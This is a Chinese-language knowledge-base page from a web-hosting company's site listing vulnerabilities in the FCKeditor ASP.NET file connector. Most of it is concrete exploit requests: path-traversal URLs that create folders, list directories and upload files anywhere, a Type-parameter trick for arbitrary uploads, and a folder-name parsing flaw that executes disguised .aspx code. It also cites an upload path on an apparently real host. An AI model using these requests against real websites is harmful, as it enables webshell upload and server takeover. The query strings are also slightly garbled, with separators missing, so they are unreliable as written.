400-1100-266

9:00-24:00（工作日）
主页 > 知识库 > FCKeditor 新闻组件的一些程序漏洞

FCKeditor 新闻组件的一些程序漏洞
热门标签：美图手机 服务器配置 智能手机 网站文章发布 银行业务 检查注册表项 铁路电话系统 呼叫中心市场需求
1 CurrentFolder 参数，可以在网站中不同目录新建文件夹，参数使用 ../../来篡改参数，进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolderType=ImageCurrentFolder=../../..%2FNewFolderName=aspx.asp


2 CurrentFolder 参数，根据返回的XML信息可以查看网站所有的目录，比如 “../../../”进入不同的目录，让后通过XML返回的消息就可以看到没有权限的页面browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFilesType=ImageCurrentFolder=%2F

3 上传文件时，通过修改CurrentFolder参数，可以将文件上传到不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=FileUploadType=ImageCurrentFolder=%2F

4 同时修改Type 和CurrentFolder 参数，可以上传任意类型文件到网站任意目录，基本上网站就完蛋了。
/browser/default/connectors/aspx/connector.aspx?Command=FileUploadType=ImageCurrentFolder=%2F

http://samsungfriend.local.opentide.com.cn/upload/fckroots/Image/asp.asp/asp.asp



5 通过创建文件夹的功能，创建名字带有.aspx的文件夹，如：file.aspx等，利用文件解析漏洞，在该文件夹下上传有代码的.jpg 或.rar等文件（实际文件是.aspx，把文件名该后缀），上传之后就可以利用漏洞执行代码了。 如：www.xxx.com/upload/file.aspx/123.jpg 输入之后，代码被成功执行。

标签：乐山 长治 河南 沧州 红河 沈阳 上海 新疆

巨人网络通讯声明：本文标题《FCKeditor 新闻组件的一些程序漏洞》，本文关键词  ；如发现本文内容存在版权问题，烦请提供相关信息告之我们，我们将及时沟通与处理。本站内容系统采集于网络，涉及言论、版权与本站无关。
  • 相关文章
  • 推荐文章

    上一篇：fckeditor php上传文件重命名的设置

    下一篇：FckEditor 配置手册中文教程详细说明

     
    微信咨询办理
    在线QQ客服
    ( 客服小王 )
    ( 客服小李 )
    ( 客服小刘 )
    ( 客服小张 )
    关于我们 | 荣誉资质 | 呼叫中心 | 代理加盟 | 客户案例 | 服务支持 | 产品介绍 | 行业资讯

    Copyright © 1999-2012 诚信 合法 规范的巨人网络 www.1330.cn 始建于2005年

    全国网站建设网站开发咨询热线：400-1100-266   0514-86177077

    江苏扬州巨人网络科技有限公司   总部地址：江苏省扬州信息产业基地11号楼4层

    《增值电信业务经营许可证》苏B2-20120278    苏ICP备15040257号 网站地图
    全国咨询热线
    400-1100-266
    在线客服( QQ：340506921 )
    版权所有：巨人网络(扬州)科技有限公司——拥有网站建设十年经验，具备独立网站开发能力，能够提供完善的网站设计及相关的网站制作服务！     全国统一服务热线：400-1100-266
    收缩
    • 微信客服
    • 微信二维码

    • 电话咨询

    • 400-1100-266